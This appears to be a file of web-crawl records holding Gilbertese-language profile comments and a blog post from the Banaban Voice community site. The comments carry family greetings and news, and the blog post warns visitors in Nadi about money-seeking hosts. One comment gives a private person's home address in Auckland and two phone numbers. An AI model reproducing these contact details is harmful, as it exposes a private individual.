Mamere are buun ten Moneteti ao koa anga naba au kamauri nakoia keee...sa bo moa ao tekeraoi te waaki..regards to wife n family..\nAi bon akea arom, ko raround naba n ai aroun te tourist. The last I met you and your family was here in Suva and now you are in Port Vila, kanoan to bong ke?. Anyway regard to your wife and son and hear from you later. Tiabo moa.","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/banabanvoice.ning.com\/profile\/MrRuteruTeemTakoto","date":"2019-07-22T09:49:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195527907.70\/warc\/CC-MAIN-20190722092824-20190722114824-00007.warc.gz","language":"gil","language_score":0.999440968,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 0.9994409680366516}","num_words":517,"character_repetition_ratio":0.033,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.211,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko na mauri Kikira! I taku bwa tao ko na bon mimi irou bwa are ko aki kinaai. Ngai bon Teweri ae natin Nei Akoia. E rabwa te Uea ngkai tia manga kaitiboaki n te Banaban voice. Bon bwanau ni kamauri ae takaburinako ni ikotaki au katekeraoi ae bati nakoim ma am utu ni kabane. Ai bon au bubuti naba bwa I kan ata rongorongon Nei Akoia bwa e uara ngkana e a manga reke te tai n reitaki ni mwawan tabem, Ko bati n rabwa ao ti a manga boo moa.\nMauri Aunty, ko uara ngkai? au kantaninga bwa ko bon nang marurung raoi ao kai te same naba mai ikai.\nTao kona bon mimi bwa antai ana ae kaekaekako aio........bon te roronga mai Kiribati.......Angke Waisele Tuinakelo.\nAunty e nang warereke au tai bwa e nang mate te power ma ngkana e reke au tai ao i a manga reitia. Tekeraoi ngke ao ko anga naba au kamauri nakoia kain Rabi ngkana e reke rokom n te auti ke tao ngkana ko tareboon.\nKo na mauri Kikira. kou wara? Au kantaninga bwa ko bon marurung raoi ma an utu.. Tera ae bon karaoaki ngkai. Isa I missed the Fiji weather. here at the moment enang maitorotoro bwa ataku bwa te winter ao tekacolo mai Rabi eaki ata tera te winter. this is my first time experience it and very excited to playing with the snow couple of months ago. hey tau konakanga bwa iabon antai aei. Ngai bon temana kain am kawa ae UMAREREI. etau tia manga reitaki nreken te tai kee. Tia boo moa ao ena tekeraoi am bong. Sr. Tematoro. Uabong.\nAuessa nei Dauve, Mauri Mauri Naba....how are you and your family?....e nei boboto natim....looks like you nothing close to the father....lol.....all is good my end. I guessed you must have gone through my profile and seen my photos. I have two children, a girl who is 2 and boy who is turning one in October. Nothing much is happening just the usual busy with the two lil ones and preparing for winter, which I am not looking forward to. Can't wait to get back to Fiji. And wats the latest from your end?...let me know...take care and GOD BLESS...loads of love Bureriti and family.\nmauri moa sis.. neiko ngaia kama kam roko ikanne ao eaera ko aki kaman wewete iaon te google talk ba tina kaitibo iai..e raoiroi ba are i bon iai tain baai kee mangaia ane koa roko ikanne ma online tonight ba tina maroro teutana imain manga okimi. ko bon ata ngkoa au email address kee ao i taku ba e ataia naba raom anne.\nNeiko bon te bana ni kamauri ae moan te bati nakoimi ao riki baby ao te kantaninga ba ena rikirake inanon te ongotaeka ma tei tangitangiri n ai aroia ara families kee.\nIa manga ongongora iroum ma karekea ara tai ni kaitibo nte google talk imain nakoimi taiaoka. Aio riki au email address ngkana ko a maninga: email@example.com\ntekeraoi nakoimi ao kakan-taninga mairoum.\nlol ur sis\nDonna K Matauea\ntake care\ngod bless!\nMauri sis..bon te roko ni kakatekeraoi nakoim ma ami utu ikanne nte inaomata aio..ao kantaninga bwa ena nakoraoi kanoan ami inaomata. Bon te kakamauri ae takaburi nako nakoimi maikai ao kataninga bwa ena teimatoa te rereitaki kee..\ntau tekeraoi riki ngkami ao regards from us to the family there..sepecially ur baby\nlove Donna Matauea\nHi sis, thanks for da add ao ai bon au kakatekeraoi nakoimi ma natimi ao riki nakon aunty ma au brothers and sisters ikanne.\nIai te kanamakin irou ae kama oki ngkai nako rabi ba ia manga aki nonoriko n online, ma e raoiroi ba i bon iai tain baai ni kabane kee.\nOnce again e raraba riki ao tetekeraoi ngkami maikanne.\nLolz n don't forget plzzz big hug and kiss to baby but not da dad!! ha ha ha\nHey kikira could you just copy and paste this message (below) of mine to tonna\/donna whatever…I was trying to write to her but I couldn't bec she have to add me first to be her friend, then I can write on her page. anyway, just do this for me pliz….\nMauri donna, I received your message. Thank you so much. Sorry for the late reply, tai taku ba I nang kan kakaomatai…..no, no, no….really busy during the week because there's a lot of work in the office (office for migrant workers) to be done, and then Friday I decided to go and treat myself something good, so I went to Taipei (capital of Taiwan) and watch the rugby games with some friends. On Saturday evening I just came back to the place where I lived. I hope you understand now….ok….hahahah….\nWow, what a surprise to meet you here on banabanvoice, thank goodness\/god. So you're the daughter of uncle kabaua. I'm really sorry to hear about his loss, yap you're right we'll all have to go through the same road one day. So you're base in nz now. wow, from the hot climate to the cold one, good on you, you can adjust. That's good if you can adjust to any circumstances you can survive in any place. Since you base in nz, I think I will hate you bec you know what I hate the all blacks (nz rugby team), but I like the wallabies (Australian rugby team)….hahaha….anyway, I try to get over that….hahaha….angke bon te kaunga. Naki nang katabeko ba are iai am bunnatoi….ngai are I kanoa boo….hahaha……angke tia manga reitaki ngkana ko mawa. Tia boo moa sis. Take care.\nMAMAURI SIS.....\nSHSHS E RANG BOBOTO BABY AO NGKOE KONA ANGA MWII NABA MA RAOM ANNE. IAA NGAIA TE KANGANGA ANAANAUN RAOM ANNE KEE, NGAI I TAKU BA E KEWE LASTNITE MANGAIA E KOAUA.\nSHSHSH NNA MOANTAAI NI IANGOA MOTIRAWAU IKANNE BA KANGA EA ROKO NABA NANOU N TARAANA HEHEHEHE!!!!!!!!!!!!!!!\nANGKE E RAABA BA NGAIA AE IA ROKO IKAI AO MAN NORIA KAIN AMI TABO AIO, E RARABA RIKI KEE AO TIA MANGA KAITIBO N AKI AKAAKA BA ARE TIA BON ATAA ARA TABO N MEET.\nONCE AGAIN THAX AND GUDLUCK FOR YOUR FUTURE\nBIG HUG AND KISSESS TO BABY\nLOVE HEAPS\nYOUR SIS DONNA KABAUA\nMauri Kiki..enga URO ea oki mai rabi? ao ngkoe ko uara? Tararua raoi tetei tai nang bati n online..ha ha akea te news bon arona naba te makuri ae bon wakinaki naba..e raba naba te add ngaia a toki ara luv sick n nonoran URO n am pics..\nTia boo moa\nMauri kouara i ban taku ba kobon ni marurung nabe. gai manem ae bati tagiraki i nanom.konoria gai i reirei i kai i Tuvalu ti bon kani ni kan na naba te uanikai.Auara kain Rabi. koaga na naba au kamauri na koia kaain te auti ikane ma Serepa &Boke ma kaka Terenga.\nMauri Kikira!!!! Ko matu ke ko aki? Looks like you're online the whole night, I hope you get some rest, hehehe, just joking. Not busy now because it's Friday am, but pm I'll be busy because m going to visit the prison. Thanks for the update from that side. You take care. See you whenever…..","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=3rjdk7pq6qmg2&commentId=2211587%3AComment%3A45261&xg_source=activity","date":"2019-07-18T10:52:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525627.38\/warc\/CC-MAIN-20190718104512-20190718130512-00219.warc.gz","language":"gil","language_score":0.9827538729,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.9827538728713989}","num_words":1193,"character_repetition_ratio":0.032,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.157,"flagged_words_ratio":0.0,"lang_id_score":0.981,"perplexity_score":500.0,"cluster_detection":1} +{"text":"News and information service for Banaban Network Worldwide!\nAio te bana ni kauring nakoia ara koraki n I-Kiribati aika a roroko i Nadi ba kam bia taratarai ngkami mairouia aine (mai Rabi) aika a bubutimaai nakon aia auti. Ngkana ko bon aki kinaia aine aikai ao karaurau n iango raoi imain ae ko iriia nakon aia auti. I taekina aio ba a maiti kaimoa ao kain Kiribati tabeman aika a kaongoai aroia aine aikai. Aikai tabeua karakinaia aine aikai ma aia waaki ni mamanaia ao n aonikaia ara koraki n I-Kiribati. 1) Iai temanna kain Kiribati ae e a tiba roko i Nadi. E kubanako teuaei ba akea ae e kantaningaia ba e na butimaia n te marae ma ngke e a otinako ao e a butimaeaki iroun Nei Tetiakewe (tiaki arana raoi). E mimi teuaei ba e bon aki kina te aine aei ma ngaia e taku ba e kina ao bon ana koraki. E a kairaki te I-Kiribati aio nakon te auti ao ngke e a tiba roko n te auti ao e taku neiere e butimai: \"Ae e a roko teuaei ...\" E taku aia kaeka mata n ainen te auti arei: \"Ao iai uotan teuanne...:\" Te bai ae a kanona aine aikai ba te uota n aron te \"tianaki te amarake ke te m'ane\", etc. E mimi teuare e butimaeaki ba ai bon akea ae e kina ao kanga bon akea te katauraoi ke te amarake ae e tauraoi n te auti arei, ai ngaia are e a manga nakon te titoa ni kabooi amarake, e nikiri n te auti ao imwina e tuatua ba e na nikiraki n ana \"hotel\". E bane ngareia te koraki aikai ba e a reke kanaia, etc. Bon taan aonikai ni koaua. 2) Iai kaimoa mai Kiribati aika a butimaeaki iroun Nei Tetiakewe. Ngkana iai ae e kina ke akea ma e kakao neiei nakon ana auti ba a na nangkona iai kain Kiribati. I main ae a roko n te auti ao e moana te titoa ni kabooi amarake, etc. Ngke e tuangaki te maiti ae e riai ni kabaka neiei ibukin boon amarake aikai, etc, ao e a rikakiniia naba ana kaimoa aikai n tuangiia ba a na kabooi amarake aikai. Kaimoa aikai bon tiaki ana koraki neiei ma e a tuangiia ba a na kabooi amarake. A maama kaimoa ao aki tabara ma a biribiria naba boon amarake aikai. E toka boran Nei Tetiakewe ba akea ana tianti ae e kabanea ba a bane ni kaboaki amarake irouia kaimoa ke irua. Ai aonikaira te aeka n waaki aio. 3) Maitia aine aika a kakaraoa te waaki aio i Nadi bon uoman. A kaiangatoa n te makuri ni karekemane aio, ai ngaia are temanna e kabuakaka are temanna n te aro are e na aki kawaraki are temanna. Ni bon te koaua ba aine aikai e titebo aia taakete ba te baka n akoi nakoia kaimoa ma kain Kiribati aika a roko i Nadi ao n aubangaia ke n tangira te mane ba kabooan aia akoi. Bon taan moi naba n te nangkoa ao n te manging aine aikai, ai ngaia are n angiin te tai bon kaimoa naba ao kain Kiribati aika taan kabo nangkona ao manging. 4) Te karaki naba teuana ae I kaongoaki ba iai temanna te aine ae e kan kaieina te tei nakon te I-Kiribati. E tuatua neiei ba ngkana e kan iein te rorobuaka aio ma te teei aei ao e riai n anga tao F$1,000. E uara te waaki aio? Kanga ai kabooan te bai te aomata ke tera? Ai ngaia ae ngkami rorobuaka n Kiribati, baina te wanawana ao tai kataua ba kam na aonikaiaki irouia aine aikai. 5) I ongo naba ba n tabetai ao a kona naba ni matu ke n taanga ma kaimoa ke kain Kiribati ao a tangira te mane \/ tianti ibukin te 'service' aio. Aio kanga bon teuana naba te katoto ibukin te \"prostitution\". I taekin aikai nakoimi ara koraki n I-Kiribati aika a tiba roko iaon Nadi ke n te marae ni wakiniba ba aine aikai a atai rokon taian kiba mai Tarawa, ao aia makuri ba te bubutimaia kain Kiribati ni kaoia nakon aia auti, tiaki ibukin te TANGIRA ke te AKOI, MA IBUKIN TE M'ANE (MONEY). Tai kataua ba ko na riki ba te next VICTIM. Ngkana ko aki kinaia aine aikai ao tai katoma taboia. N tabetai ao a bon taku naba ba am koraki ao a kairiko naba nakon aia auti. Bon taan kewe aine aikai ao tai mamane irouia. I ata aran temanna ma I aikoa kan taekinna ikai. Kam na tekeraoi te nati ni Kiribati aika a roroko i Nadi. Te Mauri, te Raoi, ao te Tabomoa i aora ni kabane.\nViews: 119\nComments are closed for this blog post","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/banabanvoice.ning.com\/profiles\/blogs\/read-and-think-about-this","date":"2019-07-22T23:18:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195528290.72\/warc\/CC-MAIN-20190722221756-20190723003756-00099.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":795,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.353,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri kaka taatu. Kabara buren te aki reitaki te tai ae rangi ni maan gkai e rangi ni korakora te tabe n ara tabo aio. Kam uara moa ma am utu? Taraia iai ara kava ae ti kanakoa nako Nonouti ibukin kaboakinanako ma gkana ko tangiria ni kan kaboanako naba mai ikanne ao koa reitaki ma gai iaon au gmail. Bon bain Toromon. Ti ngaia moa ao koa reitia mai ikanne. Tekeraoi te makuri ao koa angnaia am koraki ara kamauri\ni realy need your help ibukun ara pots....can teel marawa to collect them (5) 3 aika auarereke....ake bon ara pots ngkoa ngke ti moan roko ikanne ao 2 aika bubura.i reaaly need them ao ngaia titebo ma akea aia nanoanga n noria bwa ai bon akea naba ara bata ae a kanakomaia..ko kona n anganai ana address terabo bwa na butia ngkana eaki kona marawa.\nMauri naba ngkami,\nKab'ab'ara buren te iremwe n reply, e nang kangara te tabetabe, e a tib'a reke taina ngkai e a rko te 1 wk break.\nAu kantaninga b'a kam bon rangin marurung raoi.\nTe katekeraoi inanon te makuri.\nTaua naba ni kamatoa te beku ao kam na tekeraoi ma am utu ao ami ataei.\nmauri kaka kam uara i hope kam bon bane fine well now last week tekaure went to NZ coz i went an ddrop her in nadi and i hope she is happy staying with uncle taramatang and aunty saoau and uncle teiti and aaunty ranga and with all her cosins,last night when i reach home in suva i call her up and she sai that NZ is like a freezing Freight hahhaah.well kaka agai ma kaka tamara aio kan ara auti ti bon bane ni marurung kaka tamara are camp ma nei anne ao agai ra ti bane ni mena te auti.tao ti agai anei rongorongon anei or tipo o tekeraoi te tiku o tewaki bye an d god bless\nNgaia e tikiraoi bwa ia ata ngkanne bukina ao ngai i taku bwa kam a maninga taekara ngkai kam aki kakabooi au message. Ngkai ea tia ni mananga Nei Kaure ao are ea roko ngkai i Fiji. Akea arona bwa ea manga aroka boin Fiji. A bane ni marurung kain te auti ni kabane. E raba moa ao tia manga bon rereitaki. E raraba riki te bainaoraki ao e bon teimatoa naba Marebu ni kakaraoa iai niman Kateitaake Jnr.\nmauri naba kaka TAATU kam uara ngkai au kantaninga ba kam bon marurung naba man ami tabo anne ai bon au katekeraoi inanon ami makuri ikane ao kai e raraba naba te web site aei are tia kona ni manga kaitiboaki iai ma te kukurei,e tau koa manga reitia mai ikane te news ikane tia boo tekeraoi","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/banabanvoice.ning.com\/profile\/TaatuTaomati","date":"2019-07-22T09:34:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195527907.70\/warc\/CC-MAIN-20190722092824-20190722114824-00172.warc.gz","language":"gil","language_score":0.9999771118,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 0.9999771118164062}","num_words":454,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.227,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Meen I use to remember our youth at Fatima St Peter when ara Unimane Nan Temai make a duty roster for cooking and me and U, Touea ti tei ni kuka and our best menu we use and smart to cook was Cassava with Stew Taman hahahahahaha and I dont know that one day u will be our karua myself and Touea. Isa Stew ngaia ko bon bati naba n ara utu keeee. Anyway I heard that Kikira e bikuokou ao ea tia ni bung. Am I right??? Please do update me with the news from your side and vis versa from this side. Mehn ea reke naba am baby keee so Baby Boy or Girl?? Tell Kikira to email me at firstname.lastname@example.org keee so as u ngkana ko mawa. Regards to Aunty Tie ao kain am auc esp your Baby and Kikira. Kawakina raoi tariu Stew keeer Tia bo moa ao tekraoi ngkami.\nmauri moa are raou ngkana e roko i Fiji..eheheheh..ao ngkana ea manga roko i rambi ao ai manga au kamori..ehehe..angke bon te kamauri ao te keketekeraoi maikai nakoati ni ikotaki ma kain rambi ao kantaninga bwa ena teimatoa te marurung ioara n tatabemanira nako. E rabwa moa kee, ao tia manga kakaitibo ietan te tongo..eheheh.\nregards nakoimi ni bane\nLOLZ\nfrom Donna and family\nmauri riki\ne rabwa te kaongora man am side..ao kanga ia rang bakantang iroun Nei Maamaan bwa ngaia ea manga roko naba ikanne kee..ao teuane Taaremon anne ngaia ea roko naba ikanne..e auria bwa are i bon iai tain bwaai kee bwa ngkana te babaire bwa tina manga kaitibo ikanne ke kanga ao tia bon kakaitaua naba iai te Uea..ao ngaia ngke koa manga roko ikanne kee ao taraan ae kanga e nang manga reke ara tai bwa are koa raroa moa ma tariu arei...ehehehe..bon te taetae ni manikangare... ma kai e rang rarabwa te news maikanne ao newsn ikai ngkanne ana tera ao kai bon te katauraoi imwain te kainaomata this Saturday.. ma ia manga bon kaongorai ngkami bwa tera ae riki after kee...ehheh..tau tao ia totoki moa ikai ma tia manga bon kakaitibo n aki akaka nte tai ae eaki ataaki.\nte kakatekeraoi riki nakoimi ma ami baby fofoto ao kantaninga bwa ena teimatoa te rereitaki kee.. te Uea raora n taai nako ao bon ngaia te tia kakoroi bukin bwaai ni bane.\nTiabo mo ngkoe ao regards to the family there..and big hug and kiss to baby\nByeee\ntake care\nDonna Matauea\nkou ara i ba taku ba kobon ni marurung naba . nou terana ae koa bon ni karoia ikane. kana te butae na kotaku ba koko naai gai i bon tauraoi naba. bon ti te kagare naba. eura Baramau koagana naba au kamauri. ti ma ga kaitibo ikai. konoria gai ngkai i bon reirei ikai i Tuvalu. Arawata aine ae ka boton naine ao a mainaina.","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/banabanvoice.ning.com\/profile\/TebaruruTengata","date":"2019-07-24T03:03:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195530250.98\/warc\/CC-MAIN-20190724020454-20190724042454-00552.warc.gz","language":"gil","language_score":0.9996017814,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"gil_Latn_score\": 0.9996017813682556}","num_words":478,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.197,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"agaia mauri riki natiu are te fofoto gaia eaine te aba kee are koatia nien\neag i aki kona ni maniga te tai are i katekarekako iai....ah..ah..ah\nao kam uara moa eraba naba te tagira gkai ti kona reitaki n te banaban\nvoice kabara buren au titiraki baiaki nag ataia raoi bagkoe ketiaki magaia\nea bon eti auaomata....ah...ah..ah eag bon gai nei aunty raiti tao ai bon\nakeariki maika gaira ti bon marurug nei angline gkai e bon reirei naba fom7 ao eaki kona nimamaniga taekan tibuna are nanna n tabetai e bon tuagai eakan nora nanna kana kokan reitaka matarim aio iai ana emali ae bon aki kona nimaniga taekami e moa riki tarina akei biti koaga naba ara kamauri nakoia kan am auti tao i toki moa i kai ao tia maga bon reitaki rimi ke ao ai raman natim enag tikiraoi are tia bon tibuna...ah...ah...ah ok tekeraoi te waki maikane\ntake care god bless ma am utu\nluv..u\ngai aunty raiti\nMauri Aretitea...ko uara ma am family?? Welcome aboard te Banaban Voice..i dont have to introduce me coz u know me already...ngai kain Maiana ao Banaba but ngkai moa i memena i Caqiri...lol.....ok then u have a nice and blessed day and take care...","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/banabanvoice.ning.com\/profile\/AretiteaTeeta","date":"2019-07-22T10:11:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195527907.70\/warc\/CC-MAIN-20190722092824-20190722114824-00196.warc.gz","language":"gil","language_score":0.9956325889,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9956325888633728}","num_words":207,"character_repetition_ratio":0.03,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.188,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":1} +{"text":"hey bro ,ae tia manga roko naba nte city aei nte wiiki ae nako.ai bon te kakamauri nakoim ma kain am tabo anne.A bon anga aia kamari kainumau aikai, nei Boutiri, frances, tamiana, teari.Ena bakara kee!!!!!!!!!!!!!..... ngaira ae ti nang manga nako nakon te wiiki ae bou ae, monday.back to home sweet home.ngakana ea aki reke te kaitibo ao tao ti manga boo naba n reken te tai................\nsorry tamneiu naba ma buu anne, ane tingai mangaia ae ti tekateka, ao tamneiu ma au class mates ao ara lecturers n tain ara closing semister last year. ngkana ko noora te aine ae kanga e rang dark brown among those people, ao ngkanne bon ngai...eheheh. Picture ane n au profile, me and my friends.\nFrom left akana tei Mary from Tuvalu, Ataua from Abemama, ao akana a tekateka ngkanne from left myself and Koromba from Nonouti.\nMauri riki,\nshh ia rang bakantang iroum ba are ko atia nooria am families..e rang rarabwa anne. Nanona ngkai u back to Taipei is tat rite? e raoiroi ba are akea ngkanne te kanganga nte rereitaki ba are koa roko ikanne anyway, auara kain Rabi? i taku ba rang over excited wen they c u kee..i can feel it 2.\nThose pictures are myself, my kids and my Mum..akea tamnein Dad bwa i kakaea ae bon clear raoi ao ia manga karinna. E uara anne, tao ai manga ur turn next ni karina tamneia ur families ba i aonga naba ni kinaia taiaoka ngkana iai iroum. tao ia totoki moa ikai kee ma koa manga reitia.\ntekeraoi am waaki maikanne ao te Uea raom always\nBig regards to u from here, hopefully to hear from u soon\ntake care Bro!\nbye\nLolz\nDonna K Matauea\nNgaia ko maiu ba koa oki mai Rabi..e uara e man te tai ao koa manga nora abam ke?? Ao ngaia ko nora te kamaraki atu are Tabuti ma ana mattress..hehehe. Well, dats my brother..2 much mamau yet stil longs 4 dat single life..hehe!!\nAo Nibo?? ea bon maraki atun Teannang irouna n ana kamangao..lol. E tau, ena tekeraoi te wakii ikanne ao ana kakabaia te Uea iaora.\nUntil then, bye bye & GOD bless!!!\nmauri maneu,,ia manga roko naba..eheheh..ia rang ubuni kaebu kee..e raoiroi bwa i tii roko ni kamauri ao ni kakatekeraoi nakoimi man ami tabo anne nte inaomata aio..ao kantaniga bwa ena nakoraoi ami kainaomata ikanne.\nnnaki maan n tiku n am auti bwa kanga iai tabeu moa ma ia manga bon ongongora iroum ni mwaawam kee bro???\/\ntiabo moa ao tekraoi ngkami maikanne\ngod bless\nDonnaKMatauea\nmauri brother,\nhehehe,, ia manga kaoti naba iaan batam ao ngkoe ko tuai manga kaoti ke, akea te kanganga ba tao ko rang busy, ma tai bobosu iroun manem aio ba e rang rerebu ni karea ni bata ao man kabararia heheheheh lolz,\nanyway how r u, hope u can't wait for two more weeks to go back home ....\nc ur family especially talk in ur own funny tone launguage ehehehehe...\nplz give our big love and regards to the family wen u get there,\nhope we have a chance to meet one day\nkakatekeraoi nakoim maikanne til the time u back home\nmamauri maneu man am tabo anne, ko uara moa maikanne? au kantaninga ba ko bon rang marurung n ai arora naba ngaira maikai.\ne raraba te tangira ba ea reke te marurung iroun mom ai ngaia ae ia oki. i oki last thursday evening ao kanga ia rawa n oki kee ba are koa bon tangira abam, ma e nag kanga ao tao bon tiaki te katautau ba tao tina tiku ni maan ikekei.\ne raoiroi ba e rang kakawaki riki ae i nooria au utu. a rang bane ni marurung ni kabane ao e raba te uea.\ne uara am kataneiai ikanne tai baran nano ma keiaki ba ko aonga n roko nte tia. tai raraoma ba ena bon koro bukin am iango ba tina buokiko maikai nte tataro.\ntao nnang rara toki ikai ba kanga iai au bai ae nna karaoia ma ia manga bon ongora iroum ni maawam.\nte inga ma te kamauri ae takaburinako nakoim mairouia natiu ao ai bon ngai ma raou aei.\ntekeraoi ngke n am waaki ao tia manga kaitibo n aki akaaka kee\ngod bless\ntiabo moa\ntake care brother\nlolz\nDonna K Matauea\nMauri mauri ooo!!\nHey bro, Ea rang too late am message are ko tuanga Kikira ba ena karoko, ea reke rimoa irou imain nikirana n au auc he he he!!!!!\nAnyway, ao kouara moa maikanne, kanga ko rang bana n marurung ao ngaia anne taua arom anne.\nShshs e koaua ae ko taku ba are ngai go for my ALL BLACK ao ngkoe ko go for your WALLABY kee hehehe,, ena iranaki anne ma e rang raraba te tangira ba ngaia tia kona ni kaitibo ikai on air, ma tera ngke e bon reke ara tai n meet raoi,, tao ngkana e reke am tai ni motirawa ba are kanga akea am tamariki ao ngai are i kau tamariki ma kau busy hehehe.\nDis is my address in case u need it: 1 Morgans road\nTuakau\nAuckland, Nz\nPost code: 2121\nPh number: 09 2369309, mobile: 0273924744 ao email address naba iaon google talk: email@example.com\nNgkana iai am google talk ao ea rang tikraoi riki ba are ti kona riki iai n taetae iaona ao man send photoes iai kee.\nTau ia ongongora iroum ni maawam brother kee.\nTetekeraoi n am beku ikanne n may god bless you always\nOnce again raraba riki n sapo moa. Plz keep in touch\nLotz\nDonna Kabaua\nMauri te Tama ko uara?\nbon te kantaninga ba ko bon nang maru2ng raoi..\nBon akea rongo2n ikai ti te makuri ae wakinaki, ka2ean te mane ibukin kaitaran te maiu i suva ikai..i bon neeti i cwm hosp ao bon ngai ma Tarome, e makuri nte A&E Dept..Nibo ngkai ea tia ni iein ma Teannang kain ami kabeku i fatima...ao Tabuti ai iaoni kawaina n nakomai suva,ea manga kariki ngkai ma nei Raine, kain buakonikai..e korakora te barubaru..ha ha..ao ngkoe ko uara ao e uara te makuri? e tau ma tia manga bon rereitaki rimwi..Tia boo moa\nBua Bentitai.\nMAURI MOA BRO,,\nI KNOW U GONNA BE VERY SURPRISE, AND THINK WHO'S THIS PERSON.\nMY NAME IS DONNA, MY DAD'S NAME IS KABAUA AND MOM'S NAME IS NEI MAN. MY DAD IS YOUR DAD YOUNGEST BROTHER, AND HE ALREADY PASSED AWAY IN 2004. HE HAD A LUNG CANCER\nANYWAY THATS ME, N HOW R U FROM THERE? HOPE U STIL ALIVE AND BREATH HEHEHEHE,\nMY BIG THAX TO MY SIS KIKIRA WEN SHE TOLD ME ABOUT BANABANVOICE.\nI HAVE THREE KIDS ONE BOY AND TWO GIRLS AO TI MAEKA I NZ\nNNAKI RANG KAANAANAU BA TAO KO TUAI N ATAA MANTAU, BA NGAI TE AOMATA AE MAMATEN NANOU TE KORO KARAKI MANGAIA ARE NNA KATOKIA MOA IKAI KEE,, BA TOKINA ENAKI TIA MOAN AM MAKURI KE AM STUDY. TAI TAKU BA EA MOTI AU KARAKI, E TUAI MA IA MANGA REITIA NGKANA KO MAAWA HEHEHEHE.\nTE INGA AO TE KAMAURI RIKI NAKOIM MAIKAI\nTE KARABARABA RIKI NAKON TEUARE ANA BAI BAAI NGKAI E KONA NI MANGA KAITIBOIRA INANON TE MANEABA AIO.\nTHANX TO BE GOD\nTHANX AGAIN AND GUDLUCK,\nMAY THE SCARED HEART BE WITH YOU DURING YOUR WORK\nTEKERAOI NGKE AO TIABO MOA\nNou koa mena ngkai ia n tamneim aei titabo ma ko mena i China ngkana i bure...studies ah ko uara ngkai...i noora am comment nakon Kikira.....so hows things that side e tuai ni bane am reirei....tera ae koa bon kakaea te bare te Scientist arei ah ah ah aha ha hahah....ao ngke ena tekeraoi naba tao e rabwa naba te kaitibo n te Banaban Voice...care take....lol\nthanx bro for your time.anyway how re u????? hopefully thats youre coping well with evrything.well mummy,shes fine but you kn ga te mamaninga is stil on.we're fine and baby Tariima is fine too.tao ko na bon titiraki ba e reke iai arana? ko iraniko aia ara tina,ke ti raonia ngkoa nte xmas ao te ka ririki ba akea raaoia.sr.merieti,sr.alaima,sr.kibaria.a ngkoa ana aranaba alameriake teaine ma eabure naba aia temane,ngaia are arana naba ba moan aran tamaia....e tau ma mina ao ia taua am tai.e nabaakara moa anne te news mai ikai ma ti mabga ongra mai iroum ngkana e reke taina.tia boo moa.\nmauri naba tavale nte x-mas ao te ririki ae boou. au kantaninga ba ko bon marurung raoi n ai arora naba ngaira n ara tabo ae rangi ni kabotu aei. kikira ngkai e a tokara ana kabane. tao ena bung nakon te wiiki ae naroko. ngai i anaa moa au motirawa ba e tangirai ba nna tuku irarikina ngkana e bung. ao ngaira ngkai ti tuku irouia atanimakin ma. tao te news teutana mai rabi n tain te x-mas. ae e tokanikai nte anene bon st. peter ao nte batere st. joan of arc ao nte karea bon st. joseph. te kanganga teuana ba ti mena ikai n tain te x-mas ma e reke te rongorongo ngke ti tareboon nako rabi.tao anne moa ngkanne te news teutana mai ikai, tavale ao ti a manga bon rereitaki ngkana e reke mawan am tai. bon te katekeraoi mai irouia tangaia kiki ao ruru ma n am beku ao ti bon ururingko n ara tataro ao koa ururingiira naba n am tataro ao ke e mena ana akoi te Atua te teniman temanna inanon am beku ni kabane ao kamatoaa nanom ba ko aonga n roko nte tiia are koa tia ni waiakinna. tia boo moa tavale.","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=3g9tm27wietpn&commentId=2211587%3AComment%3A45263&xg_source=activity","date":"2019-07-23T08:59:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195529175.83\/warc\/CC-MAIN-20190723085031-20190723111031-00110.warc.gz","language":"gil","language_score":0.9994894862,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 